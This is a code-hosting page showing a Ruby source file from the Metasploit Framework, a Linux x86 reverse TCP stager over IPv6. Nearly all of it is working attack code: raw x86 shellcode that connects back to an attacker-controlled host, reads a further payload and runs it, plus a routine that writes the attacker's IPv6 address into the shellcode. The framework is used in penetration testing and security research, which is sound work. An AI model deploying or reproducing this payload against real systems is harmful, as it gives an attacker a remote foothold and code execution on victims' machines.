PageRenderTime 51ms CodeModel.GetById 27ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 72 lines | 48 code | 13 blank | 11 comment | 2 complexity | 50f680a24ee08fdd983464d63d22ed18 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # $Id$
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. require 'msf/core/handler/reverse_tcp'
  12. # Linux Reverse TCP/IPv6 Stager
  13. module Metasploit3
  14. include Msf::Payload::Stager
  15. include Msf::Payload::Linux
  16. def self.handler_type_alias
  17. "reverse_ipv6_tcp"
  18. end
  19. def initialize(info = {})
  20. super(merge_info(info,
  21. 'Name' => 'Reverse TCP Stager (IPv6)',
  22. 'Version' => '$Revision$',
  23. 'Description' => 'Connect back to attacker over IPv6',
  24. 'Author' => 'kris katterjohn',
  25. 'License' => MSF_LICENSE,
  26. 'Platform' => 'linux',
  27. 'Arch' => ARCH_X86,
  28. 'Handler' => Msf::Handler::ReverseTcp,
  29. 'Stager' => {
  30. 'Offsets' => {
  31. 'ADDR' => [ 0x15, 'foo' ],
  32. 'LPORT' => [ 0x2c, 'n' ],
  33. 'SCOPEID' => [ 0x11, 'V' ]
  34. },
  35. 'Payload' =>
  36. "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96\x99" +
  37. "\x68\x00\x00\x00\x00\x68\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x68" +
  38. "\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x52\x66\x68\xbf\xbf\x66\x68" +
  39. "\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd" +
  40. "\x80\x89\xf3\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
  41. }
  42. ))
  43. register_options([
  44. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses"])
  45. ])
  46. end
  47. # This isn't pretty, but then again neither are IPv6 addresses --Kris
  48. def replace_var(raw, name, offset, pack)
  49. return false unless name == 'ADDR'
  50. addr = ""
  51. substitute_vars(addr, { 'LHOST' => [ 0, 'ADDR6' ] })
  52. repl = ""
  53. addr.unpack('V*').reverse.each do |x|
  54. repl += Rex::Arch::X86.push_dword(x)
  55. end
  56. raw[offset, repl.length] = repl
  57. true
  58. end
  59. end